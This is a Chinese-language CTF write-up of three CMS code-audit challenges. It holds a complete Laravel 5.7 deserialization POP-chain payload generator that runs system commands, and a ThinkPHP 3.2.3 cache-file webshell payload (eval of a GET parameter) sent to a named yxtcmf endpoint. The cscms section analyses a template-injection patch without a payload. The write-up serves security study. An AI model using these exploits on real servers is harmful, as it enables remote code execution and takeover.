感谢师傅们的复现环境
链接: https://pan.baidu.com/s/1mcHEJ1fmWtw4ZOMkEEcH4Q 密码: fl0c
题是三道cms代码审计,比传统的ctf更贴切实战,跟着学了一遍收获非常多
Laravel
首先搭建这道题使用的是laravel框架,因此对于windows要进行一定的配置
先下载下composer,连接:https://docs.phpcomposer.com/00-intro.html#Installation-Windows
对于phpstudy开启
重启下服务器,在解压到的WEB
路径下的Laravel-5.7/
目录下运行下面的命令
>composer install
>php -S 0.0.0.0:8000 -t public
即可看到题目
这道题考察点是php的反序列化的pop构建,触发点是从二次开发的代码,攻击链构造是通过Laravel-5.7框架自身的代码逻辑实现的
详细细节参考这篇博客:https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/
第一次接触这个框架,咱也不知道web页面在哪,于是只好翻翻路由
在浏览器中访问下该路径
能拿到源码,而且可以发现反序列化参数可控,根据命令空间可以在phpstorm中找到对应后台文件
根据上面的文章知道是反序列化了,于是下几个断点看看,首先看\vendor\laravel\framework\src\Illuminate\Foundation\TestingPendingCommand.php
在最底下有个__destruct
运行了run()
再看看类中的run()方法的写法
这里的app
,command
,parameters
是类中的变量,Kernel::class
是个接口
这里看变量名字,估计原来的程度逻辑command
是函数,parameters
是参数
我们要构造命令执行,也就是
this->cpmmand = "system"
this->parameters = "ls"
先写个雏形
<?php
namespace Illuminate\Foundation\Testing;
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
protected $expectedExitCode;
protected $hasExecuted = false;
public function __construct($test, $app, $command, $parameters)
{
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
$clazz1 = new PendingCommand("test", "app", "system", "ls");
echo urlencode(serialize($clazz1));
?>
能够运行到目标上还不错
接下来进入到了$this->mockConsoleOutput()
中,第一句代码就死掉了
查看下Mockery::mock()
函数,是个call_user_func_array()
函数
而刚刚的mockConsoleOutput()
第一行代码参数里面带$this->createABufferedOutputMock()
跟进下
无论$this->test->expectedOutput
也好,$this->test->expectedQuestions
也好,可以使用__get()
来使其有值,通过代码的正确性
那么__get()
魔术方法可以从\vendor\laravel\framework\src\Illuminate\Auth\GenericUser
这里找到
那么稍微重构下我们的payload,这里new ArrayInput($this->parameters)
是需要parameters
是数组,因此上面的payload对应的地方也改改
<?php
namespace Illuminate\Auth;
class GenericUser
{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
$arr = array('expectedOutput' => array("0"=>"1"), 'expectedQuestions' => array("0"=>"1"));
$clazz1 = new GenericUser($arr);
namespace Illuminate\Foundation\Testing;
class PendingCommand{
public $test;
protected $app;
protected $command;
protected $parameters;
protected $expectedExitCode;
protected $hasExecuted = false;
public function __construct($test, $app, $command, $parameters){
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
$clazz2 = new PendingCommand($clazz1, "app", "system", array("ls"));
echo urlencode(serialize($clazz2));
?>
现在已经过了mockConsoleOutput
()判定,但是在函数结束的时候还对app
参数进行了操作
再回过头看$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
,文章细节中提到,将其拆成$this->app[Kernel::class]
的时候会调用
\vendor\laravel\framework\src\IlluminateContainer\Foundation\Application
中的resolve()
函数,而这个函数是继承了\vendor\laravel\framework\src\IlluminateContainer\Container.php
中的resolve()
函数
而调用了getConcrete()
函数,而我们需要对bindings[$abstract]['concrete']
进行控制,而$abstract
的值就是Illuminate\Contracts\Console\Kernel
,所以我们能够利用二位数组控制['concrete']
当然这个类中也有上面报错的$this->app->bind()
函数,所以$this->app
估计就是这个继承类了
代码逻辑会从getConcrete()
获取我们可控的值,进入isBuidable()中判断,当然不同
我们输入的不是Illuminate\Contracts\Console\Kernel
,也不是Closure
类,因此会返回false
于是出来后会走到$this->make()
中
之后会回到起先的$this->resolve()
中,只是此时的$abstract
不是Illuminate\Contracts\Console\Kernel
,而是我们可控的类了
再次经过getConcrete()
会从第三个return
中出来,也就是值不会变,那么此时的$abstract
和$concrete
值就是相同的,就会步入到$this->build()
当中
而build中是调用了php的反射类ReflectionClass()
麻~,之后操作就是利用反射机制实例化我们可控的变量的类
那么到这一步回看刚刚那段执行的代码
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
$this->app[Kernel::class] //可控,被反射生成的
$this->command //可控
$this->parameters //可控
那么就是要找到一个合适的call方法是能够代码执行的即可,文章中给出的是实例化IlluminateContainer\Foundation\Application
类,因为该类的call方法是继承\IlluminateContainer\Container
类中call方法
继续跟进下BoundMethod:call()
方法,它跳转第二个return,这个会调用到call_user_func_array()
后面我跟进了static::getMethodDependencies()
但无非会返回上面最先传进去的$parameters
,而这里的$callback
也就是我们传入的$command
,至此已经可以命令执行了
最终的payload
<?php
namespace Illuminate\Auth;
class GenericUser
{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
$arr = array('expectedOutput' => array("0"=>"1"), 'expectedQuestions' => array("0"=>"1"));
$clazz1 = new GenericUser($arr);
namespace Illuminate\Foundation;
class Application{
protected $bindings = [];
public function __construct($bindings){
$this->bindings = $bindings;
}
}
$clazz2 = new Application(array("Illuminate\Contracts\Console\Kernel" => array("concrete" => 'Illuminate\Foundation\Application')));
namespace Illuminate\Foundation\Testing;
class PendingCommand{
public $test;
protected $app;
protected $command;
protected $parameters;
protected $expectedExitCode;
protected $hasExecuted = false;
public function __construct($test, $app, $command, $parameters){
$this->app = $app;
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
}
}
$clazz3 = new PendingCommand($clazz1, $clazz2, "system", array("whoami"));
echo urlencode(serialize($clazz3));
?>
利用生成的payload传入get中的code,因为windows
我就没有用ls
,直接用whoami
验证
至此整个题目结束,膜一波挖到这个CVE洞的师傅,跟着跟进一波学习了很多
yxtcmf
题目提示说道后台admin和安装install都被删除了,那么就是一个前台getshell的漏洞了
看了一下源码是在thinkphp上进行的二次开发的cms,查看下发现是thinkphp3.2.3版本
thinkphp3
和thinkphp5
均存在缓存文件导致的getshell, tp5
是使用Cache::set
,而tp3
使用的是S()
函数
而提供缓存文件功能的文件为\Core\Library\Think\Cache\Drvier\File.class.php
而提供S()
方法的文件路径为\Core\Common\functions.php
中
可以看到S()
方法是使用了$cahce
这个对象,而这个对象是对应到Think\Cache.class.php
目录下的Cache
类,而上面提到的File.class.php
中的File
类又是继承Cache
类的
仔细看S()
函数,它其中对于$cache
的声明使用的Think\Cache::getInstance()
,而Think\Cache::getInstance()
又调用了自己的connect()
,而connect()
中把$cache
给声明为File
对象了
S()
写入缓存使用的是$cache->set()
,而这个函数最终是调用了File
类的set()
函数(毕竟翻烂了Cache
类也没这方法)
主要的几个函数找到了,还是debug调试才能更加清晰流程,先来测试一下,因为是thinkphp
框架,根据路由,找个思路清晰的目录,我这里找的是\application\User\Controller\CenterController.class.php
中的index()
,当然访问这里要先注册下,之后再代码里面验证一下是不是该页面
在此我把这段代码改成S()
缓存,用DEBUG查看下缓存文件的执行流程
之后执行了后会在Data\runtime\Temp\
下生成个文件,而文件名就是'sijidou',md5后的值,文件内容如下
被注释了不是问题,可以用%0a%0d来换行,结尾因为进行了反序列化会有"
,但是可以通过//
来注释掉,所以payload为
%0a%0deval($_GET[1]);//
成功生成缓存文件,并能能够命令执行了
刚刚的验证只是我们额外添加的,而对于这个CMS来说,我们要找打它调用S()
函数的点,所以在function.php
文件中对S()
方法进行全局搜索
有46处,但是抛开内核和后台的代码,于是主要去看的就application\Common
中的信息了,观察application\Common\function.php
中的S()
函数
继续查找调用了sp_set_dynamic_config()
函数的地方,当然这里也要排除admin
和install
测试User\Controller
和Teacher\Controller
那里面的一项,直接跳到了管理员界面所以也排除掉
所以最后只剩下Api
里面的2个地方了,但里面的OauthadminController
也是涉及到后台,所以排除
因此定位到的地方是application\Api\Controller\OauthController.class.php
中
找到利用的路径
127.0.0.1/yxtcms/index.php/api/oauth/injectionAuthocode
仔细看看application\Common\Common\function.php
的sp_set_dynamic_config($data)
函数,其中$data我们可控,直到最后,操作把$data
的值加入到了$configs
数组中,然后把$configs
数组写入了缓存,因此我们是能够控制一部分写入的内容的,而sp_dynamic_config
进行md5后的值为ed182ead0631e95e68e008bc1d3af012
,所以文件名也能得到
至此,我们使用post传入poc
authoCode=%0a%0deval($_GET[1]);//
生成的文件没有问题
可以代码执行了
cscms
题目提示:删除了install和admin
在4.1
版本后最新的高危漏洞的补丁是一个模板注入的漏洞
这道题安装环境琢磨了半天,最后发现高版本的php7.2在安装数据库时一直转圈圈,换成php5.4就能正常安装显示了
跟着思路先去官网上查下补丁,有个模板注入的高危漏洞,把补丁下载下来,使用文件对比工具比较下改动的地方
有三个地方有改动,config里面无非就是改个版本号,重点看看另外2个文件
CS_Input.php
里面新加了对get
和post
的过滤规则
common_helper.php
里面删除了get_file_mime()
方法,以及对SQL
注入新加了点waf
还对返回的前端代码标签进行了细微修改
最主要的改动就是CS_Input.php
里面的内容了,但是很明显触发点并不在这个文件中而php模板注入一般和可执行的eval()
函数有关,因此我用Seay全局搜一下拎一下eval()
函数带变量的地方
大概有这么一点,一个个看看
uc_client/
下的2个调用的地方一个不可控,一个没有被调用,所以主要精力就是Csskins.php
文件里面了
这个eval()
前面并没什么特别多,传入的是函数的参数$content
,跟踪下调用cscms_php()
的地方,只有一处,也是Csskins.php
文件里面
$php_arr[1][$i]
最初是由$str
参数传入的,再搜调用template_parse()
的地方
又因为这个cms是在CI
框架上二次开发的,所以调用template_parse()
的地方大部分都是$this->load->view()
,所以要有从前端获取的数值有我们的可控点即可
令人在意的文件在于Gbook.php
和Cstpl.php
最后是锁定Cstpl.php
文件的gbook_list()
函数
查下路由可以发现访问index.php/gbook
即可触发,最先我以为是index.php/home/gbook
才能触发,但是我发现直接使用index.php/
就是访问的home()
函数(orz这路由我也不太清楚)
显示gbook页面大概是这样的一个逻辑
调用gbook()函数显示整个框架,再调用gbook_list()函数显示留言
众所周知大部分留言都是存在数据库里面的,它会先从数据库里面取数据再进行渲染,所以留言
访问路径加个lists/
,不然/gbook
页面是一直转圈圈的
参考链接
https://mp.weixin.qq.com/s/nuecZTuRTrbYqahzdwh7tw
https://www.4hou.com/web/18587.html
https://laworigin.github.io/2019/02/21/laravelv5-7反序列化rce/